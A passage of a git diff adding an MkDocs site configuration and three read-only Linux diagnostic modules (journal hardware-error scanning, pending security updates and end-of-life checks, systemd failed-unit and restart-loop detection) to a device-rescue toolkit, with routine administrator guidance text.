with your change; CI fails on +a stale catalog page or a stale integrity manifest. See +[Contributing](contributing.md). diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 0000000..e47c0a9 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,144 @@ +site_name: Multiverse Device Rescue +site_description: >- + A local, read-only-by-default diagnostic and guided-recovery toolkit for + macOS, Windows, and Linux. +site_url: https://lizthedeveloper.github.io/multiverse-device-rescue/ +repo_url: https://github.com/lizTheDeveloper/multiverse-device-rescue +repo_name: lizTheDeveloper/multiverse-device-rescue +edit_uri: edit/main/docs/ + +docs_dir: docs +# `site/` is already taken by the marketing landing page that lives in this +# repo, so the built documentation goes somewhere else entirely. +site_dir: site_build + +# `superpowers/` holds internal planning documents and design specs, and +# `threat_remediation_map.yaml` is machine-readable input to +# `rescue threat-remediation` rather than a page. Neither belongs on the site, +# and excluding them keeps `mkdocs build --strict` clean. +exclude_docs: | + superpowers/ + threat_remediation_map.yaml + +# Turn every link problem into a build warning, which `--strict` turns into a +# failure. A dead link is a broken doc, and a dead *anchor* is worse: it looks +# like it works. This is what makes `mkdocs build --strict` a real check. +validation: + omitted_files: warn + absolute_links: warn + unrecognized_links: warn + anchors: warn + +theme: + name: material + language: en + icon: + repo: fontawesome/brands/github + palette: + - media: "(prefers-color-scheme)" + toggle: + icon: material/brightness-auto + name: Follow the system theme + - media: "(prefers-color-scheme: light)" + scheme: default + primary: indigo + accent: indigo + toggle: + icon: material/brightness-7 + name: Switch to dark mode + - media: "(prefers-color-scheme: dark)" + scheme: slate + primary: indigo + accent: indigo + toggle: + icon: material/brightness-4 + name: Switch to light mode + features: + - navigation.tabs + - navigation.tabs.sticky + - navigation.sections + - navigation.top + - navigation.tracking + - navigation.indexes + - toc.follow + - search.suggest + - search.highlight + - search.share + - content.code.copy + - content.code.annotate + - content.tabs.link + - content.action.edit + +plugins: + - search + +markdown_extensions: + - abbr + - admonition + - attr_list + - def_list + - footnotes + - md_in_html + - tables + - toc: + permalink: true + permalink_title: Link to this section + toc_depth: 3 + - pymdownx.details + - pymdownx.emoji: + emoji_index: !!python/name:material.extensions.emoji.twemoji + emoji_generator: !!python/name:material.extensions.emoji.to_svg + - pymdownx.highlight: + anchor_linenums: true + line_spans: __span + pygments_lang_class: true + - pymdownx.inlinehilite + - pymdownx.keys + - pymdownx.snippets + - pymdownx.superfences: + custom_fences: + - name: mermaid + class: mermaid + format: !!python/name:pymdownx.superfences.fence_code_format + - pymdownx.tabbed: + alternate_style: true + slugify: !!python/object/apply:pymdownx.slugs.slugify + kwds: + case: lower + +extra: + social: + - icon: fontawesome/brands/github + link: https://github.com/lizTheDeveloper/multiverse-device-rescue + name: The project on GitHub + +nav: + - Home: + - index.md + - Quickstart: quickstart.md + - FAQ: faq.md + - Troubleshooting: troubleshooting.md + - Scenarios: + - scenarios/index.md + - Digital security reset: scenarios/digital-security-reset.md + - Home network intrusion: scenarios/home-network-intrusion.md + - Identity theft recovery: scenarios/identity-theft-recovery.md + - AI worm response: scenarios/ai-worm-response.md + - iPhone / iPad spyware check: scenarios/iphone-spyware-check.md + - Linux security checkup: scenarios/linux-security-checkup.md + - Home for the holidays: scenarios/home-for-the-holidays.md + - Walkthrough - check an iPhone for spyware: CHECK_IPHONE_FOR_SPYWARE.md + - Reference: + - CLI reference: cli.md + - Module catalog: modules.md + - Architecture: architecture.md + - Threat remediation map: THREAT_REMEDIATION.md + - Remediation catalog: REMEDIATION_CATALOG.md + - Trust: + - Trust and safety: trust-and-safety.md + - Privacy: privacy.md + - Contributing: + - Contributing: contributing.md + - Writing a module: writing-a-module.md + - Roadmap: ROADMAP.md + - Roadmap status: ROADMAP_STATUS.md diff --git a/modules/integrity/linux_journal_errors/__init__.py b/modules/integrity/linux_journal_errors/__init__.py new file mode 100644 index 0000000..fffa50a --- /dev/null +++ b/modules/integrity/linux_journal_errors/__init__.py @@ -0,0 +1,349 @@ +"""Read the system journal for the errors that predict hardware failure. + +The journal is where a Linux machine writes down what went wrong, and almost +nobody reads it. That matters most for the small number of messages that are +early warnings rather than noise: + +- **Storage I/O errors and SMART warnings.** A drive that has started throwing + read errors is often weeks from failing outright, and those weeks are the + entire window in which a backup can still be taken. +- **Memory errors (EDAC/MCE).** Bad RAM corrupts data silently — files written + during the corruption are wrong on disk, and no filesystem check will find + it, because the data was already wrong when it arrived. +- **Filesystem errors and read-only remounts.** ext4 remounts read-only when it + detects corruption. The machine keeps running and silently stops saving. +- **Out-of-memory kills.** The kernel picking processes to kill explains + "things randomly close" better than any other single signal. +- **Repeated segfaults** in one program, which distinguishes "that app is + broken" from "this machine is broken". + +Everything else in the journal is left alone. A tool that reported every +priority-3 message would produce hundreds of findings on a healthy desktop and +teach the reader to ignore all of them. +""" + +import re +from collections import Counter +from dataclasses import dataclass + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 30.0 + +@dataclass(frozen=True) +class _Signal: + """One class of journal message worth reporting. + + The finding code is spelled out here as a literal rather than derived from + ``key``. Building it with an f-string would make it invisible to the + emits_codes consistency gate, which exists so every code a module can emit + is statically discoverable — that is what powers the remediation catalog. + """ + + key: str + pattern: re.Pattern[str] + severity: Severity + label: str + code: str + + +# Ordered: the first pattern that matches a line classifies it, so the more +# specific hardware signals come before the generic ones. +_SIGNALS: list[_Signal] = [ + _Signal( + key="storage_io_error", + pattern=re.compile( + r"(?i)\b(i/o error|blk_update_request|medium error|unrecovered read error|" + r"failed command: (read|write) fpdma|ata\d+\.\d+: exception emask)\b" + ), + severity=Severity.CRITICAL, + label="storage read/write errors", + code="integrity.linux_journal_errors.storage_io_error", + ), + _Signal( + key="smart_failure", + pattern=re.compile( + r"(?i)\b(smart error|failure prediction|reallocated_sector|pending sector)\b" + ), + severity=Severity.CRITICAL, + label="drive self-monitoring warnings", + code="integrity.linux_journal_errors.smart_failure", + ), + _Signal( + key="memory_error", + pattern=re.compile(r"(?i)\b(edac|machine check|mce:|hardware error|corrected error)\b"), + severity=Severity.CRITICAL, + label="memory or CPU hardware errors", + code="integrity.linux_journal_errors.memory_error", + ), + _Signal( + key="filesystem_error", + pattern=re.compile( + r"(?i)(ext4-fs error|xfs .*(corruption|internal error)|btrfs.*(checksum|csum) " + r"(error|failed)|remounting filesystem read-only|journal has aborted)" + ), + severity=Severity.CRITICAL, + label="filesystem corruption", + code="integrity.linux_journal_errors.filesystem_error", + ), + _Signal( + key="oom_kill", + pattern=re.compile(r"(?i)(out of memory: kill|oom-kill|killed process \d+)"), + severity=Severity.WARNING, + label="out-of-memory kills", + code="integrity.linux_journal_errors.oom_kill", + ), + _Signal( + key="segfault", + pattern=re.compile(r"(?i)\b(segfault at|general protection fault|traps:)\b"), + severity=Severity.WARNING, + label="program crashes", + code="integrity.linux_journal_errors.segfault", + ), +] + +# A single segfault is an application bug; a pile of them in one week is a +# pattern worth reporting. +_SEGFAULT_MIN = 3 + + +class Module(ModuleBase): + name = "linux_journal_errors" + category = "integrity" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 83 + depends_on = [] + estimated_duration = "30s" + + emits_codes = [ + "integrity.linux_journal_errors.storage_io_error", + "integrity.linux_journal_errors.smart_failure", + "integrity.linux_journal_errors.memory_error", + "integrity.linux_journal_errors.filesystem_error", + "integrity.linux_journal_errors.oom_kill", + "integrity.linux_journal_errors.segfault", + ] + + # How far back to read, and how many lines to accept. The journal on a + # long-running machine is large; both bounds keep this from becoming the + # slowest check in a scan. + since: str = "7 days ago" + max_lines: int = 5000 + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads the systemd journal; this host reports " + f"{profile.platform.value}." + ), + ) + + result = run( + [ + "journalctl", + "--priority=0..4", + f"--since={self.since}", + f"--lines={self.max_lines}", + "--no-pager", + "--quiet", + ], + timeout=_TIMEOUT, + ) + if result.error is not None: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "journalctl is not available, so this system does not use the systemd " + "journal. Errors would be in /var/log instead." + ), + ) + if result.returncode != 0 and not result.stdout.strip(): + # Non-root callers on some distributions cannot read the system + # journal at all. That is "not checked", not "nothing found". + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "The system journal could not be read by this account. Re-run with " + "sudo, or add your user to the 'systemd-journal' group, to include " + "system-wide errors." + ), + ) + + matches: dict[str, list[str]] = {} + for line in result.stdout.splitlines(): + for signal in _SIGNALS: + if signal.pattern.search(line): + matches.setdefault(signal.key, []).append(line.strip()[:300]) + break + + findings: list[Finding] = [] + for signal in _SIGNALS: + lines = matches.get(signal.key, []) + if not lines: + continue + if signal.key == "segfault" and len(lines) < _SEGFAULT_MIN: + continue + findings.append(self._finding(signal, lines)) + return CheckResult(module_name=self.name, findings=findings) + + def _finding(self, signal: _Signal, lines: list[str]) -> Finding: + explanation = { + "storage_io_error": ( + "The kernel could not read from or write to a drive. Drives that have " + "started doing this usually keep working for a while and then do not. " + "The useful response is to back up now, while it still reads." + ), + "smart_failure": ( + "The drive's own self-monitoring is reporting degradation. This is the " + "earliest warning available and it is worth acting on immediately." + ), + "memory_error": ( + "The hardware reported a memory or CPU error. Even 'corrected' errors " + "indicate failing RAM, and uncorrected ones silently corrupt whatever " + "was in memory at the time — including files being written." + ), + "filesystem_error": ( + "The filesystem detected corruption. If it remounted read-only, the " + "machine is still running but is no longer saving anything, which is " + "usually discovered hours later when work disappears." + ), + "oom_kill": ( + "The kernel ran out of memory and killed running programs to recover. " + "This is what 'applications close by themselves' looks like from the " + "system's side." + ), + "segfault": ( + "Programs crashed repeatedly. If they are all the same program, that " + "program is broken; if they are different programs, suspect memory." + ), + }[signal.key] + + counts = Counter(self._normalise(line) for line in lines) + top = counts.most_common(5) + sample = "\n".join(f" [{count}x] {text}" for text, count in top) + + return Finding( + title=f"{len(lines)} journal entries indicating {signal.label}", + description=( + f"{explanation}\n\nIn the last {self.since}:\n{sample}" + ), + severity=signal.severity, + category=self.category, + code=signal.code, + confidence=0.8, + data={ + "check": signal.key, + "count": len(lines), + "since": self.since, + "samples": [text for text, _ in top], + }, + ) + + @staticmethod + def _normalise(line: str) -> str: + """Strip the timestamp and hostname so repeats of one error group together.""" + parts = line.split(":", 3) + text = parts[-1].strip() if len(parts) > 1 else line + # Numbers vary between otherwise identical messages (sector, pid, addr). + return re.sub(r"\b(0x)?[0-9a-f]{4,}\b|\b\d+\b", "N", text)[:200] + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + + if check in ("storage_io_error", "smart_failure"): + actions.append(self._guidance( + "Back up now, then check the drive", + "Order matters here. Copy your data off first — running diagnostics " + "on a failing drive can be the thing that finishes it off.\n\n" + " 1. Back up anything irreplaceable to another device.\n" + " 2. Then look at the drive's own health record:\n" + " sudo smartctl -a /dev/sda # install smartmontools if needed\n" + " Look at Reallocated_Sector_Ct, Current_Pending_Sector, and\n" + " Offline_Uncorrectable. Any of them climbing means replace it.\n" + " 3. Check which filesystem is affected:\n" + " dmesg -T | grep -i 'i/o error'\n\n" + "A drive reporting errors is not repairable in software. Plan a " + "replacement rather than a fix.", + check, + )) + elif check == "memory_error": + actions.append(self._guidance( + "Test the memory before trusting this machine with data", + " 1. Reboot and run memtest86+ (most distributions offer it in the " + "boot menu; otherwise install it). Let it complete at least one full " + "pass — errors often appear only after the first few minutes.\n" + " 2. If it reports errors and you have more than one module, test " + "them one at a time to find the bad one.\n" + " 3. Until it is clean, avoid work you cannot afford to have silently " + "corrupted — bad RAM writes wrong data to disk without any error.", + check, + )) + elif check == "filesystem_error": + actions.append(self._guidance( + "Check the filesystem from outside itself", + "A filesystem cannot be repaired safely while it is mounted.\n\n" + " 1. Confirm whether it went read-only:\n" + " mount | grep ' / '\n" + " 2. Back up anything not yet backed up. Do this first.\n" + " 3. Boot from a live USB and check the unmounted filesystem:\n" + " sudo fsck -f /dev/sdaX # ext4\n" + " sudo xfs_repair /dev/sdaX # xfs\n" + " sudo btrfs check /dev/sdaX # btrfs (read-only by default)\n" + " 4. Repeated corruption on a healthy drive usually means failing " + "hardware, not a filesystem bug — check the drive too.", + check, + )) + elif check == "oom_kill": + actions.append(self._guidance( + "Find what is exhausting memory", + " journalctl -k --since '7 days ago' | grep -i 'killed process'\n" + " systemd-cgtop -m\n\n" + "That names both the process the kernel killed and, usually, the one " + "that consumed the memory. Options: use less at once, add swap " + "(`sudo systemctl status systemd-zram-setup@zram0` on many distros), " + "or add RAM. `rescue run linux_memory_pressure --yes` gives the " + "current picture.", + check, + )) + elif check == "segfault": + actions.append(self._guidance( + "Work out whether one program is broken or the machine is", + " journalctl --since '7 days ago' | grep -i segfault\n\n" + "All the same program: reinstall or update it, and report the crash " + "upstream.\n" + "Many different programs: that pattern points at memory or an " + "overheating CPU rather than at software. Test memory, and check " + "temperatures under load.", + check, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) diff --git a/modules/integrity/linux_package_updates/__init__.py b/modules/integrity/linux_package_updates/__init__.py new file mode 100644 index 0000000..26a7d48 --- /dev/null +++ b/modules/integrity/linux_package_updates/__init__.py @@ -0,0 +1,342 @@ +"""Are there security updates waiting, and is this release still getting them? + +Unapplied updates are the most boring finding a security tool can produce and +the one that matters most: the overwhelming majority of real-world compromises +use a fixed vulnerability against a machine that had not applied the fix. + +Linux makes this awkward because there is no single package manager. This +module detects which one is in use — apt, dnf, pacman, or zypper — and asks it, +using its own read-only query mode. No package manager is invoked in a way that +changes anything: `apt list --upgradable` and `dnf check-update` read, they do +not install. + +The second half is end-of-life. A release that has stopped receiving updates +looks perfectly healthy — nothing is pending, because nothing is being +published any more. That is the failure mode this check exists to catch, and it +is why "0 updates available" is not reported as good news without also checking +whether updates are still being produced. +""" + +import re +from pathlib import Path + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +# Package-manager queries hit local metadata, but a stale cache can make apt +# reach out; give them room without letting them stall a scan. +_TIMEOUT = 45.0 + +_SECURITY_HINTS = ("security", "-security", "esm-apps", "esm-infra") + + +class Module(ModuleBase): + name = "linux_package_updates" + category = "integrity" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 86 + depends_on = [] + estimated_duration = "45s" + + emits_codes = [ + "integrity.linux_package_updates.security_updates_pending", + "integrity.linux_package_updates.updates_pending", + "integrity.linux_package_updates.reboot_required", + "integrity.linux_package_updates.release_end_of_life", + ] + # An unrecognised distribution is reported through CheckResult.supported, + # not as a finding, so it carries no remediation code. + + os_release_path: str = "/etc/os-release" + reboot_required_path: str = "/var/run/reboot-required" + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check queries Linux package managers (apt, dnf, pacman, zypper); " + f"this host reports {profile.platform.value}." + ), + ) + + manager, pending, security = self._pending_updates() + findings: list[Finding] = [] + + if manager is None: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "No supported package manager (apt, dnf, pacman, zypper) was found, so " + "pending updates cannot be determined on this distribution." + ), + ) + + if security: + findings.append( + Finding( + title=f"{len(security)} security update(s) are waiting to be installed", + description=( + "These are fixes for known vulnerabilities that have already been " + "published — which means they have also been published to everyone " + "who writes exploits.\n\n" + + "\n".join(f" {name}" for name in security[:20]) + + (f"\n ... and {len(security) - 20} more" if len(security) > 20 else "") + ), + severity=Severity.CRITICAL, + category=self.category, + code="integrity.linux_package_updates.security_updates_pending", + confidence=0.9, + data={"check": "security_updates_pending", "manager": manager, "packages": security[:50]}, + ) + ) + + other = [p for p in pending if p not in set(security)] + if other: + findings.append( + Finding( + title=f"{len(other)} package update(s) available", + description=( + "Ordinary updates — bug fixes and new versions. Worth applying, but " + "not urgent in the way security updates are.\n\n" + + "\n".join(f" {name}" for name in other[:20]) + + (f"\n ... and {len(other) - 20} more" if len(other) > 20 else "") + ), + severity=Severity.INFO, + category=self.category, + code="integrity.linux_package_updates.updates_pending", + confidence=0.9, + data={"check": "updates_pending", "manager": manager, "packages": other[:50]}, + ) + ) + + if Path(self.reboot_required_path).exists(): + findings.append( + Finding( + title="A reboot is required to finish applying updates", + description=( + "Updates have been installed but the running kernel or libraries " + "are still the old ones. Until this machine restarts, the " + "vulnerabilities those updates fixed are still present in memory — " + "the fix is on disk and not in use." + ), + severity=Severity.WARNING, + category=self.category, + code="integrity.linux_package_updates.reboot_required", + confidence=1.0, + data={"check": "reboot_required"}, + ) + ) + + eol = self._end_of_life_finding() + if eol is not None: + findings.append(eol) + + return CheckResult(module_name=self.name, findings=findings) + + def _pending_updates(self) -> tuple[str | None, list[str], list[str]]: + for manager, method in ( + ("apt", self._apt), + ("dnf", self._dnf), + ("pacman", self._pacman), + ("zypper", self._zypper), + ): + result = method() + if result is not None: + pending, security = result + return manager, pending, security + return None, [], [] + + def _apt(self) -> tuple[list[str], list[str]] | None: + result = run(["apt", "list", "--upgradable"], timeout=_TIMEOUT) + if result.error is not None: + return None + pending, security = [], [] + for line in result.stdout.splitlines(): + if "/" not in line or line.startswith("Listing"): + continue + name = line.split("/", 1)[0].strip() + if not name: + continue + pending.append(name) + if any(hint in line.lower() for hint in _SECURITY_HINTS): + security.append(name) + return pending, security + + def _dnf(self) -> tuple[list[str], list[str]] | None: + result = run(["dnf", "--quiet", "check-update"], timeout=_TIMEOUT) + # dnf uses exit code 100 for "updates available" and 0 for "none". + if result.error is not None or result.returncode not in (0, 100): + return None + pending = [] + for line in result.stdout.splitlines(): + fields = line.split() + if len(fields) >= 3 and "." in fields[0] and not line.startswith(" "): + pending.append(fields[0]) + + security: list[str] = [] + sec_result = run(["dnf", "--quiet", "check-update", "--security"], timeout=_TIMEOUT) + if sec_result.error is None and sec_result.returncode in (0, 100): + for line in sec_result.stdout.splitlines(): + fields = line.split() + if len(fields) >= 3 and "." in fields[0] and not line.startswith(" "): + security.append(fields[0]) + return pending, security + + def _pacman(self) -> tuple[list[str], list[str]] | None: + # -Qu queries the local database only; it never touches the network. + result = run(["pacman", "-Qu"], timeout=_TIMEOUT) + if result.error is not None: + return None + pending = [line.split()[0] for line in result.stdout.splitlines() if line.strip()] + # Arch does not separate a security channel, so every update is treated + # as ordinary rather than inventing a distinction that does not exist. + return pending, [] + + def _zypper(self) -> tuple[list[str], list[str]] | None: + result = run(["zypper", "--quiet", "list-updates"], timeout=_TIMEOUT) + if result.error is not None: + return None + pending = [] + for line in result.stdout.splitlines(): + fields = [f.strip() for f in line.split("|")] + if len(fields) >= 3 and fields[0] == "v": + pending.append(fields[2]) + security: list[str] = [] + patch_result = run(["zypper", "--quiet", "list-patches", "--category", "security"], timeout=_TIMEOUT) + if patch_result.error is None: + for line in patch_result.stdout.splitlines(): + fields = [f.strip() for f in line.split("|")] + if len(fields) >= 2 and fields[0] and fields[0] not in ("Repository", "--"): + security.append(fields[1]) + return pending, security + + def _end_of_life_finding(self) -> Finding | None: + """Flag a release that has stopped receiving updates. + + Support end dates are not published in a machine-readable form on the + host, so rather than shipping a table that silently goes stale, this + reports the release and asks the reader to confirm it is still + supported — with the exact place to check. A wrong "you are fine" would + be worse than an honest "verify this". + """ + try: + text = Path(self.os_release_path).read_text(errors="replace") + except OSError: + return None + values = {} + for line in text.splitlines(): + if "=" in line: + key, _, value = line.partition("=") + values[key.strip()] = value.strip().strip('"') + + pretty = values.get("PRETTY_NAME") or values.get("NAME") or "this Linux release" + version = values.get("VERSION_ID", "") + distro_id = (values.get("ID") or "").lower() + + support_url = { + "ubuntu": "https://ubuntu.com/about/release-cycle", + "debian": "https://www.debian.org/releases/", + "fedora": "https://docs.fedoraproject.org/en-US/releases/", + "rhel": "https://access.redhat.com/support/policy/updates/errata", + "opensuse": "https://en.opensuse.org/Lifetime", + }.get(distro_id, "your distribution's release-cycle page") + + # Rolling releases have no end-of-life to check. + if distro_id in ("arch", "manjaro", "endeavouros", "gentoo", "nixos"): + return None + + return Finding( + title=f"Confirm {pretty} is still receiving security updates", + description=( + f"This machine reports {pretty}" + + (f" (version {version})" if version else "") + + ".\n\nA release past its end-of-life keeps working and stops getting " + "security fixes, so it reports zero pending updates while quietly " + "accumulating unpatched vulnerabilities. That is the single most " + "dangerous state a Linux machine can be in, precisely because nothing " + "looks wrong.\n\n" + f"Check the support dates here: {support_url}" + ), + severity=Severity.INFO, + category=self.category, + code="integrity.linux_package_updates.release_end_of_life", + confidence=0.5, + data={ + "check": "release_end_of_life", + "distro": distro_id, + "version": version, + "pretty_name": pretty, + "support_url": support_url, + }, + ) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + manager = finding.data.get("manager", "") + + if check in ("security_updates_pending", "updates_pending"): + command = { + "apt": "sudo apt update && sudo apt upgrade", + "dnf": "sudo dnf upgrade --refresh", + "pacman": "sudo pacman -Syu", + "zypper": "sudo zypper refresh && sudo zypper update", + }.get(manager, "your distribution's update command") + urgency = ( + "Do this now — these are published fixes for known holes.\n\n" + if check == "security_updates_pending" + else "Apply these when convenient.\n\n" + ) + actions.append(self._guidance( + "Install the pending updates", + urgency + f" {command}\n\n" + "The tool does not run this for you: installing packages can restart " + "services and, occasionally, needs a decision about a config file. " + "That is a change you should watch happen.", + check, + )) + elif check == "reboot_required": + actions.append(self._guidance( + "Restart to finish applying the updates", + "Save your work and reboot when you can:\n" + " sudo reboot\n\n" + "Until then the old kernel and libraries are still what is running.", + check, + )) + elif check == "release_end_of_life": + actions.append(self._guidance( + "Verify this release is still supported", + f"Check {finding.data.get('support_url')}.\n\n" + "If it has reached end-of-life, plan an upgrade to a supported " + "release. Back up first — a release upgrade is the kind of change " + "that occasionally goes wrong, and a current backup turns that from a " + "disaster into an afternoon.", + check, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) diff --git a/modules/integrity/linux_service_health/__init__.py b/modules/integrity/linux_service_health/__init__.py new file mode 100644 index 0000000..ce200e1 --- /dev/null +++ b/modules/integrity/linux_service_health/__init__.py @@ -0,0 +1,279 @@ +"""What has systemd given up on, and what keeps dying and restarting? + +`systemctl --failed` is the first command an experienced Linux user runs on a +misbehaving machine, and it is the last thing a non-expert ever discovers. A +failed unit is why the printer does not appear, why backups silently stopped +three weeks ago, why the machine takes ninety seconds to boot. + +Beyond the failed list, this looks for the noisier pathology: units caught in a +restart loop. systemd will restart a crashing service forever, which turns a +crash into a permanent CPU and log-volume drain that shows up as "the fan is +always on" rather than as an error anyone sees. + +Backup and time-synchronisation units are called out specifically. A failed +backup timer is the finding whose consequences arrive months later, and a +machine whose clock has drifted fails TLS in ways that look like a network +problem. +""" + +import re + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 20.0 + +# A unit restarting more often than this is not recovering, it is looping. +_RESTART_LOOP_THRESHOLD = 5 + +_BACKUP_HINTS = ("backup", "borg", "restic", "duplicity", "timeshift", "snapper", "rsnapshot") +_TIME_HINTS = ("systemd-timesyncd", "chronyd", "ntpd", "ntpsec") + +_NRESTARTS = re.compile(r"^NRestarts=(\d+)$", re.M) + + +class Module(ModuleBase): + name = "linux_service_health" + category = "integrity" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 78 + depends_on = [] + estimated_duration = "20s" + + emits_codes = [ + "integrity.linux_service_health.failed_unit", + "integrity.linux_service_health.failed_backup_unit", + "integrity.linux_service_health.restart_loop", + "integrity.linux_service_health.time_sync_inactive", + ] + # A system without systemd is reported through CheckResult.supported rather + # than as a finding, so it has no code: "this check does not apply here" is + # not something a remediation walkthrough can act on. + + # Cap how many failed units get an individual `systemctl show` call: on a + # badly broken machine there can be dozens, and each one costs a subprocess. + max_detailed_units: int = 15 + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads systemd unit state; this host reports " + f"{profile.platform.value}." + ), + ) + + listing = run( + ["systemctl", "list-units", "--failed", "--no-legend", "--plain", "--no-pager"], + timeout=_TIMEOUT, + ) + if listing.error is not None: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "systemctl is not available, so this system is not running systemd. " + "Service health would need to be checked through its own init system " + "(OpenRC, runit, s6)." + ), + ) + + failed = [ + line.split()[0] + for line in listing.stdout.splitlines() + if line.strip() and not line.startswith("●") + ] + failed = [name for name in failed if name.endswith((".service", ".timer", ".mount", ".socket"))] + + findings: list[Finding] = [] + for unit in failed: + how_to_look = ( + f"See why:\n systemctl status {unit}\n" + f" journalctl -u {unit} -n 50 --no-pager" + ) + # Two constructions rather than one with conditional arguments: the + # code literal has to be visible at the call site, which is what + # lets the remediation catalog know statically which codes this + # module can emit. + if any(hint in unit.lower() for hint in _BACKUP_HINTS): + findings.append( + Finding( + title=f"Backup unit '{unit}' has failed", + description=( + "This unit runs backups, and systemd has given up on it. A " + "backup that stopped working is indistinguishable from a backup " + "that is working, right up until the moment you need it.\n\n" + + how_to_look + ), + severity=Severity.CRITICAL, + category=self.category, + code="integrity.linux_service_health.failed_backup_unit", + confidence=1.0, + data={"check": "failed_backup_unit", "unit": unit}, + ) + ) + else: + findings.append( + Finding( + title=f"Service '{unit}' has failed", + description=( + "systemd started this unit, it failed, and systemd has stopped " + "trying. Whatever it provides is not running.\n\n" + how_to_look + ), + severity=Severity.WARNING, + category=self.category, + code="integrity.linux_service_health.failed_unit", + confidence=1.0, + data={"check": "failed_unit", "unit": unit}, + ) + ) + + findings.extend(self._restart_loop_findings(failed)) + time_finding = self._time_sync_finding() + if time_finding is not None: + findings.append(time_finding) + + return CheckResult(module_name=self.name, findings=findings) + + def _restart_loop_findings(self, already_failed: list[str]) -> list[Finding]: + listing = run( + ["systemctl", "list-units", "--type=service", "--state=running", + "--no-legend", "--plain", "--no-pager"], + timeout=_TIMEOUT, + ) + if listing.error is not None: + return [] + + units = [ + line.split()[0] + for line in listing.stdout.splitlines() + if line.strip() and line.split()[0].endswith(".service") + ] + findings = [] + for unit in units[: self.max_detailed_units]: + if unit in already_failed: + continue + shown = run(["systemctl", "show", unit, "--property=NRestarts"], timeout=_TIMEOUT) + if shown.error is not None: + continue + match = _NRESTARTS.search(shown.stdout.strip()) + if match is None: + continue + restarts = int(match.group(1)) + if restarts < _RESTART_LOOP_THRESHOLD: + continue + findings.append( + Finding( + title=f"Service '{unit}' has restarted {restarts} times", + description=( + "systemd restarts a crashing service automatically, so a service " + "stuck in a crash loop looks 'running' while doing nothing but " + "starting and dying. It burns CPU, fills the journal, and hides " + "the original error under thousands of identical ones.\n\n" + f" journalctl -u {unit} --since '1 hour ago' --no-pager" + ), + severity=Severity.WARNING, + category=self.category, + code="integrity.linux_service_health.restart_loop", + confidence=0.8, + data={"check": "restart_loop", "unit": unit, "restarts": restarts}, + ) + ) + return findings + + def _time_sync_finding(self) -> Finding | None: + for unit in _TIME_HINTS: + result = run(["systemctl", "is-active", f"{unit}.service"], timeout=_TIMEOUT) + if result.error is None and result.stdout.strip() == "active": + return None + # Nothing answered "active". That is only meaningful if systemctl worked + # at all, which the caller has already established. + return Finding( + title="No time-synchronisation service appears to be running", + description=( + "Nothing on this machine is keeping the clock correct. A drifted clock " + "breaks HTTPS certificate validation, two-factor codes, and scheduled " + "jobs — and it does it in ways that look like a network fault rather than " + "a clock fault, so people chase the wrong problem for hours.\n\n" + "Checked for: " + ", ".join(_TIME_HINTS) + ), + severity=Severity.WARNING, + category=self.category, + code="integrity.linux_service_health.time_sync_inactive", + confidence=0.7, + data={"check": "time_sync_inactive"}, + ) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + unit = finding.data.get("unit", "") + + if check in ("failed_unit", "failed_backup_unit"): + actions.append(self._guidance( + f"Find out why {unit} failed", + f" 1. Read the failure:\n" + f" systemctl status {unit}\n" + f" journalctl -u {unit} -n 100 --no-pager\n" + " 2. Try it once by hand and watch what happens:\n" + f" sudo systemctl restart {unit}\n" + " 3. If it fails again, the journal from step 1 now has the current " + "error rather than a stale one.\n\n" + + ( + "Because this is a backup unit, also verify that a restore " + "actually works once it is running again — a backup you have " + "never restored from is a hypothesis, not a backup." + if check == "failed_backup_unit" + else "If you do not recognise the unit and nothing depends on it, " + f"disabling it is reasonable: sudo systemctl disable --now {unit}" + ), + check, unit, + )) + elif check == "restart_loop": + actions.append(self._guidance( + f"Break the restart loop for {unit}", + f" 1. Find the first failure rather than the latest:\n" + f" journalctl -u {unit} --no-pager | head -50\n" + " 2. Stop the loop while you work:\n" + f" sudo systemctl stop {unit}\n" + " 3. Fix the cause, then start it again and re-check the count:\n" + f" systemctl show {unit} --property=NRestarts", + check, unit, + )) + elif check == "time_sync_inactive": + actions.append(self._guidance( + "Turn on time synchronisation", + "On most systemd distributions:\n" + " sudo systemctl enable --now systemd-timesyncd\n" + " timedatectl status\n\n" + "On 